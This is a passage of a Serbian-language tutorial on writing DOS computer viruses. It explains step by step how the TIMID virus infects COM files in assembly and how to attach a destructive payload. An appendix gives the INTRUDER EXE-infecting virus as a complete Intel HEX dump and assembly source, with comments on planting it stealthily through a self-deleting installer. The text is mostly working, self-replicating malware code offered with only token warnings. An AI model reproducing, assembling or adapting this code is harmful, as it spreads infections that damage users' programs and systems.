    cmp WORD PTR [START_IMAGE+3],4956H ;ok, is VI in positions 3 & 4? jnz FOK_ZEND ;no, file can be infected, return with Z set FOK_NZEND: mov AL,1 ;wed better not infect this file or AL,AL ;so return with z reset ret FOK_ZEND: xor AL,AL;ok to infect, return with z set ret

    Ovo kompletira nau diskusiju o mehanizmu za traenje virusa.

    Mikroprocesori sa elementima programiranja

    Mehanizam kopiranja i skladitenja COM failova

    Mehanizam za kopiranje

    Poto virus nae fail koji e inficirati (zaraziti), mora da sprovede proces inficiranja. Ve smo ukratko diskutovali kako se to obavlja, ali hajmo sad da napiemo kod koji e to ustvari uraditi. Staviemo ceo taj kod u ablon nazvan INFECT.

    Kod za INFECT je prilino jasan. Prvo virus otvori fail ije je ime smeteno u FNAME u itaj/pii modu, kao to je to uradio kad se fail trai, i on smeta fail runo u obalsati datoteka nazvanoj HANDLE. Ovog puta, meutim elimo da idemo da kraja faila i da smestimo virus tamo. Da bi to uradili, prvo pomeramo pokaziva faila koristei DOS funkciju 42H. Pozivajui funkciju 42H, registar bx mora biti podeen sa runim brojem faila,1cx:dx mora da sadri 32 bita dug ceo broj koji govori ka gde pomeriti pokaziva faila. Postoji tri razliita naina koja ova funkcija moe biti koriena, specifina po sadraju al registra. Ako je al=0, pokaziva faila je podeen relativno ka poetku faila. Ako je al=1, dodat je relativno sadanjoj lokaciji, i ako je al=2, cx:dx je korien kao ogranak sa kraja faila. Poto prva stvar koju virus mora da uradi je da postavi svoj kod na kraju COM faila koji napada, on postavlja pokaziva faila na kraj faila. To je lako. Postaviti cx:dx=0, al=2 i pozvati funkciju 42H:

    xor cx,cx mov dx,cx mov bx,WORD PTR [HANDLE] mov ax,4202H int 21H

    Sa pokazivaem faila na prvoj lokaciji, virus sada moe da se sastavi,na disk na kraju ovog faila. Da bi to uradili, treba samo koristiti DOS funkciju za pisanje, 40 Hex. Da bi koristili Dos funkciju 40H mora se postaviti ds:dx na lokaciju u memoriju gde je datoteka koja e biti napisana na disk smetena. U ovom sluaju to je poetak virusa. Sledee, postaviti ex na broj bitova za pisanje a bx na runi fail.

    Ovde postoji jedan problem. Poto e se virus vezati za COM failove razliitih veliina, adresa poetka koda virusa nije na nekoj fiksiranoj lokaciji u memoriji. Svaki fail za koji je

  • 15 vezan e ga premestiti negde drugde u memoriji. Pa virus mora da bude dovoljno pametan da ukapira gde je. Da bi ovo uradili uposliemo trik u osnovni kontrolni ablon, i smestiti ogranak VIRAL koda u lokaciju memorije zvanu VIR_START. Ovde pretpostavljamo da ova lokacija memorije je ve bila pravilno instalirana. Tada e kod za pisanje virusa na kraj faila koji napada prosto izgledati ovako:

    mov cx,OFFSET FINAL - OFFSET VIRUS mov bx,WORD PTR [HANDLE] mov dx,WORD PTR [VIR_START] mov ah,40H int 21H

    gde je VIRUS oznaka koja indifikuje poetak viral koda a FINAL je oznaka koja identifikuje kraj koda. OFFSET FINAL-OFFSET VIRUS ne zavisi od lokacije virusa u memoriji.

    Sad , sa osnovnim telom viral koda pridodatim na kraj napadnutog COM faila virus mora da obavi neko ienje. Prvo, mora da premesti prva pet bita COM faila u oblast skladitenja u viral kodu. Onda mora da stavi skok instrukciju plus slova koda vi na poetak COM faila. Poto smo ve uitali prvih pet bita COM faila u ablon za traenje, oni stoje spremni i ekaju akciju na STAR_IMAGE. Mi samo treba da ih prepiemo na disk na odgovarajuu lokaciju. Beleka da treba da postoje dve odvojene oblasti u virusu za skladitenje pet bita od poetnog koda. Akotivni virus mora da ima oblast datoteke START-IMAGE da skladiti datoteku failova koji eli da inficira, ali mora isto da ima drugu oblast, koju emo zvati START_CODE. Ova sadri prvih pet bita faila za koji je prihvaen. Bez START_CODE, aktivan viru nee moi da prebaci kontrolu na program koji je domain na koji je prihvaen kada zavri.

    Da bi napisali prvih pet bota faila koji je napadnut, virus mora da uzme pet bita od START_IMAGE, i da ih smesti gde je START_CODE smeten na disku. Prvo, virus postavlja pokaziva faila na lokaciju START_CODE na disku.

    U memoriji Na disku

    Slika 1: START_IMAGE i START_CODE

    Da bi naao tu lokciju, mora sa uzeti orginalna veliina diska (smetena u FSIZE pomou ablona za traenje) i dodati mu OFFSET START_CODE-OFFSET VIRUS, pomerajui pokaziva faila u odnosu na poetak faila:

  • 16 xor cx,cx mov dx,WORD PTR [FSIZE] add dx,OFFSET START_CODE - OFFSET VIRUS mov bx,WORD PTR [HANDLE] mov ax,4200H int 21H

    Sledee, virus

    mov cx,5 mov bx,WORD PTR [HANDLE] mov dx,OFFSET START_IMAGE mov ah,40H int 21H

    Poslednji korak u inficiranju faila je da se postavi prvih pet bita faila sa skokom na poetak koda virusa, zajedno sa identifikacionim slovima vi. Da se ovo uradi prvo se postavi pokaziva faila na poetak faila:

    xor cx,cx mov dx,cx mov bx,WORD PTR [HANDLE] mov ax,4200H int 21H

    Slededee, moramo podesiti oblast datoteke u memoriji na odgovarajuim inforamacijama za unos na poetak faila. START_IMAGE je dobro mesto za postavljanje ovih bitovima poto datoteka nije vie potrebna. Prvi bit bi trebalo da bude blizu skok instrukcije E9 HEX:

    mov BYTE PTR [START_IMAGE],0E9H

    Sledea dva bita bi trebala da budu re koja govori CPU kako bita da prebaci unapred. Ovaj bit treba da bude orginalna veliina programa domaina, plus broj bitova u virusu koji su pre poetka koda pogubljena (staviemo neke datoteke tamo). Moramo takoe odbiti tri od ovog dela broja jer relativni skok je uvek upuen na trenutni pokaziva instrukcije, koji e biti poseen na 103H kod se skok stvarno izvri. Tako su dva bita koja govore programu gde da skoi su podeena pomou

    mov ax,WORD PTR [FSIZE] add ax,OFFSET VIRUS_START - OFFSET VIRUS -3 mov WORD PTR [START_IMAGE+1],ax

    Napokon postaviti ID bitova vi u naoj peto bitnoj oblasto datoteke,

    mov WORD PTR [START_IMAGE+3],4956H ;VI

    napisati datoteku na poetak faila, koristei DOS funkciju za pisanje

    mov cx,5 mov dx,OFFSET START_IMAGE mov bx,WORD PTR [HANDLE] mov ah,40H int 21H

  • 17

    i onda zatvoriti fali koristei DOS.

    mov ah,3EH mov bx,WORD PTR [HANDLE] int 21H

    Ovo dovrava mehanizam kopiranja.

    Skladitenje datoteke za virus

    Jedan problem s kojim se moramo suoiti u stvaranju ovog virusa je kako da lociramo datoteku. Poto su svi svi skokovi i pozivi u COM failu relativni, ne smemo raditi nita fansy iz razloga to virus mora da menja mesto dok se kopira iz program u program. Skokovi i pozivi se premetaju automatski. Manipulisati podacima nije lako. Period upuivanja slian

    mov bx,WORD PTR [HANDLE]

    Slika 2: apsolutan period adrese katastrofa

    odnosi se ka neogranienom grananju unutar programa segmenta HANDLE. Ne moemo samo definisati re u memoriji koristei asembler direktno kao

    HANDLE DW 0

    i onda asemble virus i pokrenuti ga. Ako uradimo to, radie dobro prvi put. Kada se privrsti za nov progam, mada, sve memorijske adrese e biti promenjene i virus e biti u velikoj nevolji. Virus e ili unititi sebe, ili izazvati unitenje svoga domaina.

    Postoje dva nana za izbegavanje ove katastrofe. Prvo, mogu se staviti sve datoteke zajedno na jednom mestu, i napisati program za dinamino odreivanje gde je datoteka i smetanje te vrednosti u registar (npr. Si) da bi joj se pristupilo dinamino, ovako:

    mov bx,[si+HANDLE_OFS]

    gde je HANDLE_OFS ogranak promenljive HANDLE sa poetka obalasti datoteke. Alternativno, moemo sa stvimo sve delove datoteke na fiksiranu lokaciju u delu koda, pod

  • 18 uslovom da smo sigurni da ni virus ni domain nee nikada da zauzmu to mesto. Jedino sigurno mesto da se ovo uradi je na samom kraju dela, gde sa nalazi masa (gomila). Poto virus preuzima kontrolu nad CPU prvo kad je COM fail pogubljen, on e kontrolisati i masu (gomilu). Tako moemo da odredimo tano ta gomila radi, i da joj se sklonimo s puta. Ovo je metod koji mi biramo.

    Kad virus prvo zadobije kontrolu, pokaziva mase ,sp, je postavljen na FFF Hex. Ako on poziva potprogram, adresa se direktno posle poziva smeta u gomilu, u bitovima FFFF Hex i FFFE Hex u programskom delu, i pokaziva gomile je unamljen sa dva do FFFD Hex. Kada CPU izvri povratnu instrukciju u potprogram, on koristi dva bita smtena pomou poziva da odredi gde da se vrati, i povea pokaziva gomile za dva. Isto tako, izvrenje push instrukije umanjuje gomilu za dva bita i smeta eljeni registar u lokaciju pokaziva gomile. Pop instrukcija ponitava ovaj proces. Int instrukcija zahteva pet bita mesta gomile, i ukljuuje pozive hardveru prekinutim rukovodiocima, kojima se moe pristupiti u bilo koje vreme u programu bez upozorenja, jedan preko drugog.

    Oblast datoteke za virus moe biti locirana ba ispod memorije potrebne za gomilu. Taan iznos potrebnog mesta gomile je teko odrediti, al, 80 bita e biti vie nego dovoljno. Datoteka e ii tano ispod ovih 80 bita, i na ovaj nain ova lokacija moe biti fiksirana. Mora se proceniti mesto koje zauzima kada se odreuje maksimalna veliina COM faila u FILE_OK ablonu.

    Naravno, ne mogu se staviti instalirane promenljive u gomilu. Moraju biti smetena sa programom na disk. Njihovo smetanje u blizini kraja dela programa bi zahtevalo da virus uvea veliinu svakog faila do skoro granice od 64K. takva drastina promena veliine faila bi brzo obavestila korisnika da je njegov sistem zaraen! Umesto toga, instaliranje promenljive bi trebalo smestiti sa pogubnim kodom virusa. Ova strategija e odrati broj bitova koji moraju biti dodati domainu na minimum. (Stoga je ovo kratkotrajno vredna mera za anti-otkrivanje). Nedostatak je to takve promenljive moraju onda biti dinamino locirane od strane virusa u tendenciji vremena.

    Na sreu, imamo samo jedan deo datoteke koji mora biti pre-initialized, niz koji koristi DOS u ablonu pretrage za lociranje COM failova, koji smo prosto nazvali COMFILE. Ako pogledate ablon pretrage, primetiete da smo uzeli u obzir premetanje ovog dela datoteke koda smo obnovili koristei instrukciju.

    mov dx,WORD PTR [VIR_START] add dx,OFFSET COMFILE - OFFSET VIRUS

    umesto samo mov dx,OFFSET COMFILE

    Glavni kontrolni ablon

    Sada imamo sve alatke za pisanje TIMID virusa. Sve to je potrebno je glavni kontrolni ablon da sve sastavi. Ovaj glavni ablon mora:

    1. dinamino odrediti lokaciju (granjanje) virusa u memoriji 2. pozvati ablon pretrage da nae novi program za inficiranje 3. inficirati program lociran od strane ablona pretrage, ako ga je naao 4. da vrati kontrolu programu domainu

    Da bi odredili lokaciju virusa u memoriji, koristimo prost trik. Prva instrukcija u glavnom kontrolnom ablonu e izgledati ovako:

  • 19

    VIRUS: COMFILE DB *.COM,0 VIRUS_START:

    call GET_START GET_START:

    sub WORD PTR [VIR_START],OFFSET GET_START - OFFSET VIRUS

    Poziv prebacije potpunu adresu GET_START-a u gomilu na FFFC Hex (poto je ovo prva instrukcija virusa, i prava instrukcija za upotrebu gomile). Na ovoj lokaciji prekrivamo gomilu pomou rei promenljive nazvane VIR_START. Onda oduzimamo razliku u grananju izmeu GET_SATRT i prvog bita virusa, obeleenog VIRUS. Ovaj prosti trik u programiranju uzima potpun ogranak prvog bita virusa u delu programa, i smeta ga u lako pristupanu promenljivu.

    Zatim dolazi vaan korak anti-otkrivanja. Glavni kontrolni ablon pomera Disk transfer Area (DTA) do oblasti datoteke za virus koji koristi funkciju DOS-a 1A Hex.

    mov dx,OFFSET DTA mov ah,1AH int 21H

    Ovaj korak je neophodan jer e ablon pretrage modifikovati datoteku u DTA. Kada se COM fail ukljui, DTA je podeena na standardnu vrednost ogranka od 80H u delu programa. Problem je ako program domaon zahteva komandu linijskih parametara, oni su smeteni za program na ovoj istoj lokaciji. Ako DTA nije bila trajno promenjena dok je virus izvravao, ablon pretrage bi napisao preko bilo koje komande linijskih parametara pre nego to bi program domain imao priliku da im pristupi. To bi izazvalo eksplodiranje bilo kog inficiranog COM programa koji je zahtevao komandu linijskoih parametara. Virus bi lepo izvrio, i programi domaini koji nisu zahtevali parametre bi radili lepo, ali korisnik bi primetio probleme sa nekim programima. Trajno premetanje DTA reava ovaj problem.

    Sa premetenom DTA, osnovni kontrolni ablon moe bezbedno da pozove pretragu i kopira ablon:

    call FIND_FILE ; try to find a file to infect jnz EXIT_VIRUS ; jump if no file was found call INFECT ;else infect the file

    EXIT_VIRUS:

    Konano, glavni kontrolni ablon mora da vrati kontrolu programu domainu. Ovo ukljuuje tri koraka: Prvi, vratiti DTA njenoj poetnoj vrednosti, ogranku 80H,

    mov dx,80H mov ah,1AH int 21H

    Sledee, pomerite prvih pet bitova orginlnog programa domaina od oblasti datoteke START_CODE gde su smeteni do poetka programa domaina na 100H.

    Konano, virus mora da prebaci kontrolu programu domainu na 100H. Ovo zahteva trik, poto se ne moe prosto rei skoi na 100H jer je takav skok relativan, pa ta instrukcija nee skoiti na 100H kada sa virus prebaci na drugi fail i to nagovetava propast. Jedna instrukcija koja prebacuje kontrolu na potpun ogranak je povratak sa poziva. Poto smo uradili poziv na

  • 20 samom poetku glavnog kontrolnog ablona i nismo jo izvrili odgovarajui povratak, izvrenje ret instrukcije e i prebaciti kontrolu na domaina i oistie gomilu. Naravno, povratna adresa mora biti podeena na 100H da bi prebacila kontrolu na domaina, a ne negde drugde. Ta povratna adresa je samo re kod VIR_START. Pa, da bi prebacili kontrolu na domaina, piemo

    mov WORD PTR [VIR_START],100H ret

    Pogodak, program domain preuzima i vodi kao da virus nikada nije bio tmo. Kao to je napisano, ovaj glavni kontrolni ablon je malo opasan, jer e uiniti virus

    potpuno nevidljivim za korisnika kada pokrae program... pa moe da pobegne. Mudro je malo ukrotiti zver (virus) kada tek poinjemo. Pa, posle poziva da INFECT, stavimo jo nekoliko vie reenica u prikazu imena faila koji je virus upravo inficirao:

    call INFECT mov dx,OFFSET FNAME ;dx points to FNAME mov WORD PTR [HANDLE],24H ;$ string terminator mov ah,9 ;DOS string write fctn int 21H

    EXIT_VIRUS:

    Ovo koristi DOS funkciju 9 za tampanje niza u FNAME, to je ime faila koji je inficiran. Primedba da ako bi neko hteo da napravi zlobno udovite od ovog virusa, kod za unitenje bi mogao lako da bude stavljen ovde, ili posle EXIT_VIRUS, u zavisnosti od uslova pod kojima je eljena aktivnost unitenja. Na primer, na haker bi mogao da napie ablon nazvan DESTROY, koji bi iskalio razilite vrste haosa, i da ga kodira ovako:

    call INFECT call DESTROY

    EXIT_VIRUS:

    ako neko eli da naini tetu samo posle uspenog inficiranja, ili ovako:

    call INFECT EXIT_VIRUS:

    call DESTROY

    ako neko eli da teta uvek bude prisutna, bez obzira na ta, ili ovako:

    call FIND_FILE jnz DESTROY call INFECT

    EXIT_VIRUS:

    ako neko eli da se teta desi samo u sluaju da virus na moe da nae fail koji e inficirati itd. Ne govorim ovo da bi vam predloio da napiete takav ablon molim vas nemojte- ve samo da vam pokaem kako je lako kontrolisati unititeljsko ponaanje virusa (ili bilo kog drugog programa).

    Prvi domain

  • 21

    Da bi sastavili i pokrenuli virus, on mora biti privren za domaina. Ne moe postojati sam u pisanju sastavnog jezikog koda za ovaj virus, moramo da postavimo sve da bi virus mislio da je ve privren na neki COM fail. Sve to je potrebno je prost program koji ne radi nita sem izlaza ka DOS-u. Da bi povratio kontrolu DOS-u program izvrava DOS funkciju 4C Hex. To samo prekida rad programa, i DOS preuzima. Kada je funkcija 4C izvrena, povratni kod je sastavljen u al pomou programa koji pravi poziv, gde al=0 ukzuje na uspean zavretak programa. Bilo koja druga vrednost ukazuje na neku greku, kao to je odreeno programom koji pravi DOS poziv. Pa, najprostiji COM program bi izgledao ovako:

    mov ax,4C00H int 21H

    Poto e virus preuzeti prvih pet bita COM faila, i poto vi sigurno ne zante koliko bitova e gornje dve instrukcije preuzeti, stavimo pet NOP (bez operacija) instrukcije na poetak programa domaina. Ovo e uzeti pet bitova koji nita ne rade. Stoga, program domain e izgledati ovako:

    HOST: nop nop nop nop nop mov ax,4C00H int 21H

    Mi mada ne elimo da ga kopiramo tako. Kodiramo ga da izgleda kao to bi izgledao da ga je virus inficirao. Naime, NOP-ovi e biti smeteni u START CODE,

    START_CODE: nop nop nop nop nop

    i preva pet bita domaina e se sastojati od skoka na virus i slova ,vi,:

    HOST: jmp NEAR VIRUS_START db VI mov ax,4C00H int 21H

    Eto, to je to TIMID virus je u potpunosti nabrojan u dodatku A, zajedno sa svim to vam je potrebno da ga pravilno sastavite.

    Shvatam da bi ste vi sada mogli biti preplavljeni novim idejama i tehnikim detaljima vezanim za ovo pitanje, i moje nazivanje ovog virusa jednostavnim moe biti obeshrabrujue. Ako je tako, nemojte lose head. Studirajte ih poljivo. Pregledajte ponovo tekst i spojite rezliite funkcionalne elemente, jedan po jedan. I ako se oseate samopouzdano, moete da probate da ga

  • 22

    sastavite u sopstveni poddirektorijum na vaem raunaru. Mada ako uradite to, budite paljivi! Nastavljte po sopstvenom riziku. Virus nije slian ni jednom drugom programu koji ste ikad pokrenuli.

    Prilog: INTRUDER virus

    Upozorenje! Taj INTRUDER virus se replicira bez bilo kakve objave ili znaka odakle dolazi. To je veoma zarazan virus koji zaraava tvoj kompijuter, i ostale kompijutere, ako ti zahvati kompijuter. Samo najiskusniji kompijuterski korisnici bi trebali ak da razmiljaju o sklapanju sledeeg koda. Sastavlja se na na tvoj sopstveni rizik.

    Proizvoa mikroprocesora Intel Hex liste za nametljive viruse:

    :100000004D5A47000500020020001100FFFF650067 :100010000001259E0C0112001E00000001003401A9 :100020001200480112000000000000000000000063 :1000300000000000000000000000000000000000C0 :1000400000000000000000000000000000000000B0 :1000500000000000000000000000000000000000A0 :100060000000000000000000000000000000000090 :100070000000000000000000000000000000000080 :100080000000000000000000000000000000000070 :100090000000000000000000000000000000000060 :1000A0000000000000000000000000000000000050 :1000B0000000000000000000000000000000000040 :1000C0000000000000000000000000000000000030 :1000D0000000000000000000000000000000000020 :1000E0000000000000000000000000000000000010 :1000F0000000000000000000000000000000000000 :1001000000000000000000000000000000000000EF :1001100000000000000000000000000000000000DF :1001200000000000000000000000000000000000CF :1001300000000000000000000000000000000000BF :1001400000000000000000000000000000000000AF :10015000000000000000000000000000000000009F :10016000000000000000000000000000000000008F :10017000000000000000000000000000000000007F :10018000000000000000000000000000000000006F :10019000000000000000000000000000000000005F :1001A000000000000000000000000000000000004F :1001B000000000000000000000000000000000003F :1001C000000000000000000000000000000000002F :1001D000000000000000000000000000000000001F :1001E000000000000000000000000000000000000F :1001F00000000000000000000000000000000000FF :10020000494E5452554445522E455845008CC88E8F :10021000D8BA0000B441CD21B44CB000CD210000CB :1002200000000000000000000000000000000000CE :1002300000000000000000000000000000000000BE :1002400000000000000000000000000000000000AE :10025000000000000000000000000000000000009E :10026000000000000000000000000000000000008E

  • 23 :10027000000000000000000000000000000000007E :10028000000000000000000000000000000000006E :10029000000000000000000000000000000000005E :1002A000000000000000000000000000000000004E :1002B000000000000000000000000000000000003E :1002C000000000000000000000000000000000002E :1002D000000000000000000000000000000000001E :1002E000000000000000000000000000000000000E :1002F00000000000000000000000000000000000FE :1003000000000000000000000000000000000000ED :1003100000000000000000000000000000000000DD :10032000AAC800000000000000000000000000005B :1003300000000000000000000000000000000000BD :1003400000000000000000000000000000000000AD :10035000000000000000000000000000000000009D :10036000000000000000000000000000000000008D :10037000000000000000000000000000000000007D :10038000000000000000000000000000000000006D :10039000000000000000000000000000000000005D :1003A000000000000000000000000000000000004D :1003B000000000000000000000000000000000003D :1003C0000000005C2A2E455845005C2A2E2A0000B9 :1003D000000000000000000000000000000000001D :1003E000000000000000000000000000000000000D :1003F00000000000000000000000000000000000FD :1004000000000000000000000000000000000000EC :1004100000000000000000000000000000000000DC :10042000000000000000000000000001508CC88E99 :10043000D88CC0A30400E867037518E86B03E86E66 :1004400003E826007509E89103E8E401E8CE03E833 :10045000760358BB0200FA8ED3BC00018E0604005E :100460008E1E0400FBEA0D000000B05CA2AF00BECF :10047000B00032D2B447CD21803EB00000750532C5 :10048000C0A2AF00B002A2FD00E81000740D32C09F :10049000A2AF00FEC0A2FD00E80100C3E851007356 :1004A0004C803EFD0000743FFE0EFD00BFAF00BE5D :1004B000AA00E8BB004757E8760075235F32C0AA60 :1004C000BFAF00BB4F00A0FD00B22BF6E203D88BFC :1004D000F3E89C0057E8C4FF7412E8760074DDFE70 :1004E00006FD005F32C0AAB0010AC0C35F32C0C3BC :1004F000BA0600B41ACD21BFAF00BEA300E8700059 :1005000057BAAF00B93F00B44ECD210AC075195F8C :1005100047AABFAF00BE2400E855004F57E863006C :10052000730CB44FCD21EBE35FC60500F9C35FC385 :10053000E8310052B41ACD21BAAF00B91000B44E60 :10054000CD215B0AC0751CF64715107406807F1E0E :100550002E750EE80E0052B41ACD21B44FCD21EB0A :10056000E132C0C3BA3100B02BF626FD0003D0C380 :10057000268A05470AC075F84F57FCACAA0AC07511 :10058000F95FC3E82300720DE80B007208E833003E :100590007203E84500C3B04DB45A3B0687007402AD :1005A000F9C333C02B06A100C3BAAF00B8023DCDDA :1005B00021720FA3FE008BD8B91C00BA8700B43F8C

  • 24 :1005C000CD21C3A18F0003C003C02B068D0003C043 :1005D00003C02B069F003D0800C3A19D0003068FAA :1005E00000BA1000F7E28BCA8BD08B1EFE00B80059 :1005F00042CD21B43F8B1EFE00BA0901B90200CDE5 :1006000021720BA109013B060000F87501F9C3A096 :100610000501240F7419B910002AC8BA2705010E64 :10062000050183160701008B1EFE00B440CD21C3D7 :100630008B0E07018B1605018B1EFE00B80042CD04 :1006400021E8CBFFB9270533D28B1EFE00B440CD85 :10065000218B1605018B0E0701BB33014303D3BB6E :10066000000013CB8B1EFE00B80042CD21BA9500CE :100670008B1EFE00B90200B440CD218B1605018B04 :100680000E0701BB39014303D3BB000013CB8B1E04 :10069000FE00B80042CD21BA97008B1EFE00B902C1 :1006A00000B440CD218B1605018B0E0701BB45011F :1006B00083C30103D3BB000013CB8B1EFE00B80025 :1006C00042CD21BA9B008B1EFE00B90400B440CD80 :1006D0002133C933D28B1EFE00B80042CD21A105C3 :1006E00001B104D3E88B1E070180E30FB104D2E30C :1006F00002E32B068F00A39D00BB270583C310B127 :1007000004D3EB03C3A39500B80C01A39B00B8006E :1007100001A397008B160701A10501BB270503C3A1 :1007200033DB13D305000213D350B109D3E8B1076B :10073000D3E203C2A38B005825FF01A38900B802AE :100740000001068D00B91C00BA87008B1EFE00B4A4 :1007500040CD21A18D004848BB0400F7E303069F6C :1007600000BB000013D38BCA8BD08B1EFE00B800D9 :1007700042CD21A19D00BB330143891E8700A3897F :1007800000A19D00BB450183C303891E8B00A38D7F :1007900000B90800BA87008B1EFE00B440CD21C30B :1007A00032E4C3CD1A80E200C3B090A28204C3B485 :1007B0002FCD21891E02008CC0A304008CC88EC0DE :1007C000BA0600B41ACD21C38B160200A104008E14 :1007D000D8B41ACD218CC88ED8C3B443B000BAAFF8 :1007E00000CD21880E0001B443B001BAAF00B100C2 :1007F000CD21BAAF00B002B43DCD21A3FE00B45765 :1008000032C08B1EFE00CD21890E01018916030125 :10081000A12200A30701A12000A30501C38B160399 :10082000018B0E0101B457B0018B1EFE00CD21B427 :100830003E8B1EFE00CD218A0E000132EDB443B086 :0708400001BAAF00CD21C396 :00000001FF

    Montaa govornih listinga posmatra se sa nametljivih virusa:

    ;The Intruder Virus is an EXE file infector which can jump from directory to

    ;directory and disk to disk. It attaches itself to the end of a file and

    ;modifies the EXE file header so that it gets control first, before the host

    ;program. When it is done doing its job, it passes control to the host program,

  • 25 ;so that the host executes without a hint that the virus is there.

    .SEQ ;segments must appear in sequential order ;to simulate conditions in active virus

    ;MGROUP GROUP HOSTSEG,HSTACK ;Host segments grouped together

    ;HOSTSEG program code segment. The virus gains control before this routine and

    ;attaches itself to another EXE file. As such, the host program for this

    ;installer simply tries to delete itself off of disk and terminates. That is

    ;worthwhile if you want to infect a system with the virus without getting

    ;caught. Just execute the program that infects, and it disappears without a

    ;trace. You might want to name the program something more innocuous, though.

    HOSTSEG SEGMENT BYTE ASSUME CS:HOSTSEG,SS:HSTACK

    PGMSTR DB INTRUDER.EXE,0

    HOST: mov ax,cs ;we want DS=CS here mov ds,ax mov dx,OFFSET PGMSTR mov ah,41H int 21H ;delete this exe file mov ah,4CH mov al,0 int 21H ;terminate normally

    HOSTSEG ENDS

    ;Host program stack segment

    HSTACK SEGMENT PARA STACK db 100H dup (?) ;100 bytes long HSTACK ENDS ;******************************************************************* ;This is the virus itself

    STACKSIZE EQU 100H ;size of stack for the virus NUMRELS EQU 2 ;number of relocatables in the virus, ;these go in relocatable pointer table

    ;VGROUP GROUP VSEG,VSTACK ;Virus code and stack segments grouped together

    ;Intruder Virus code segment. This gains control first, before the host. As

    ;this ASM file is layed out, this program will look exactly like a simple

  • 26

    ;program that was infected by the virus.

    VSEG SEGMENT PARA ASSUME CS:VSEG,DS:VSEG,SS:VSTACK

    ;data storage area comes before any code VIRUSID DW 0C8AAH ;identifies virus OLDDTA DD 0 ;old DTA segment and offset DTA1 DB 2BH dup (?) ;new disk transfer area DTA2 DB 56H dup (?) ;dta for directory finds (2 deep) EXE_HDR DB 1CH dup (?) ;buffer for EXE file header EXEFILE DB \*.EXE,0 ;search string for an exe file ALLFILE DB \*.*,0 ;search string for any file USEFILE DB 78 dup (?) ;area to put valid file path LEVEL DB 0 ;depth to search directories for a file HANDLE DW 0 ;file handle FATTR DB 0 ;old file attribute storage area FTIME DW 0 ;old file time stamp storage area FDATE DW 0 ;old file date stamp storage area FSIZE DD 0 ;file size storage area VIDC DW 0 ;storage area to put VIRUSID from new ;host in, to see if virus already there VCODE DB 1 ;identifies this version ;******************************************************************* ;Intruder virus main routine starts here VIRUS:

    push ax mov ax,cs mov ds,ax ;set up DS=CS for the virus mov ax,es ;get PSP Seg mov WORD PTR [OLDDTA+2],ax ;set up default DTA Seg=PSP0

    Seg call SHOULDRUN ;run only when this returns with z set jnz REL1 ;not ok to run, go execute host program call SETSR ;modify SHOULDRUN for next copy of the virus call NEW_DTA ;set up a new DTA location call FIND_FILE ;get an exe file to attack jnz FINISH ;returned nz - no valid file, exit call SAVE_ATTRIBUTE ;save the file attrs and leave file open call INFECT ;move program code to file we found to attack call REST_ATTRIBUTE ;restore original file attrs and close file

    FINISH: call RESTORE_DTA ;restore DTA to its original value at startup

    pop ax REL1: ;relocatable marker for host

  • 27 stack segment

    mov ax,HSTACK ;set up host program stack segment (ax=segment) cli ;interrupts off while changing stack mov ss,ax

    REL1A: ;marker for host stack pointer mov sp,OFFSET HSTACK mov es,WORD PTR [OLDDTA+2] ;set up ES correctly mov ds,WORD PTR [OLDDTA+2] ;and DS sti ;interrupts back on

    REL2: ;relocatable marker for host code segment

    jmp FAR PTR HOST ;begin execution of host program

    ;******************************************************************* ;First Level - Find a file which passes FILE_OK ; ;This routine does a complex directory search to find an EXE file in the ;current directory, one of its subdirectories, or the root directory or one ;of its subdirectories, to find a file for which FILE_OK returns with C reset. ;If you want to change the depth of the search, make sure to allocate enough ;room at DTA2. This variable needs to have 2BH * LEVEL bytes in it to work, ;since the recursive FINDBR uses a different DTA area for the search (see DOS ;functions 4EH and 4FH) on each level. This returns with Z set if a valid ;file is found. ; FIND_FILE:

    mov al,\ ;set up current dir path in USEFILE mov BYTE PTR [USEFILE],al mov si,OFFSET USEFILE+1 xor dl,dl mov ah,47H int 21H ;get current dir, USEFILE= \dir cmp BYTE PTR [USEFILE+1],0 ;see if it is null. If so, its the root jnz FF2 ;not the root xor al,al ;make correction for root directory, mov BYTE PTR [USEFILE],al ;by setting USEFILE =

    FF2: mov al,2 mov [LEVEL],al ;search 2 subdirs deep call FINDBR ;attempt to locate a valid file jz FF3 ;found one - exit xor al,al ;nope - try the root directory mov BYTE PTR [USEFILE],al ;by setting USEFILE= inc al ;al=1 mov [LEVEL],al ;search one subdir deep call FINDBR ;attempt to find file

    FF3: ret ;exit with z set by FINDBR

  • 28 ;******************************************************************* ;Second Level - Find in a branch ; ;This function searches the directory specified in USEFILE for EXE files. ;after searching the specified directory, it searches subdirectories to the ;depth LEVEL. If an EXE file is found for which FILE_OK returns with C reset, ;this routine exits with Z set and leaves the file and path in USEFILE ; FINDBR:

    call FINDEXE ;search current dir for EXE first jnc FBE3 ;found it - exit cmp [LEVEL],0 ;no-do we want to go another directory deeper? jz FBE1 ;no-exit dec [LEVEL] ;yes-decrement LEVEL and continue mov di,OFFSET USEFILE ;\curr_dir is here mov si,OFFSET ALLFILE ;\*.* is here call CONCAT ;get \curr_dir\*.* in USEFILE inc di push di ;store pointer to first * call FIRSTDIR ;get first subdirectory jnz FBE ;couldnt find it, so quit

    FB1: ;otherwise, check it out pop di ;strip \*.* off of USEFILE xor al,al stosb mov di,OFFSET USEFILE mov bx,OFFSET DTA2+1EH mov al,[LEVEL] mov dl,2BH ;compute correct DTA location for subdir name mul dl ;which depends on the depth were at in search add bx,ax ;bx points to directory name mov si,bx call CONCAT ;\curr_dir\sub_dir put in USEFILE push di ;save position of first letter in sub_dir name call FINDBR ;scan the subdirectory and its subdirectories jz FBE2 ;if successful, exit call NEXTDIR ;get next subdirectory in this directory jz FB1 ;go check it if search successful

    FBE: ;else exit, NZ set, cleaned up inc [LEVEL] ;increment the level counter before exit pop di ;strip any path or file spec off of original

  • 29 xor al,al ;directory path stosb

    FBE1: mov al,1 ;return with NZ set or al,al ret

    FBE2: pop di ;successful exit, pull this off the stack FBE3: xor al,al ;and set Z

    ret ;exit ;******************************************************************* ;Third Level - Part A - Find an EXE file ; ;This function searches the path in USEFILE for an EXE file which passes ;the test FILE_OK. This routine will return the full path of the EXE file ;in USEFILE, and the c flag reset, if it is successful. Otherwise, it will ;return with the c flag set. It will search a whole directory before giving up. ; FINDEXE:

    mov dx,OFFSET DTA1 ;set new DTA for EXE search mov ah,1AH int 21H mov di,OFFSET USEFILE mov si,OFFSET EXEFILE call CONCAT ;set up USEFILE with \dir\*.EXE push di ;save position of \ before *.EXE mov dx,OFFSET USEFILE mov cx,3FH ;search first for any file mov ah,4EH int 21H

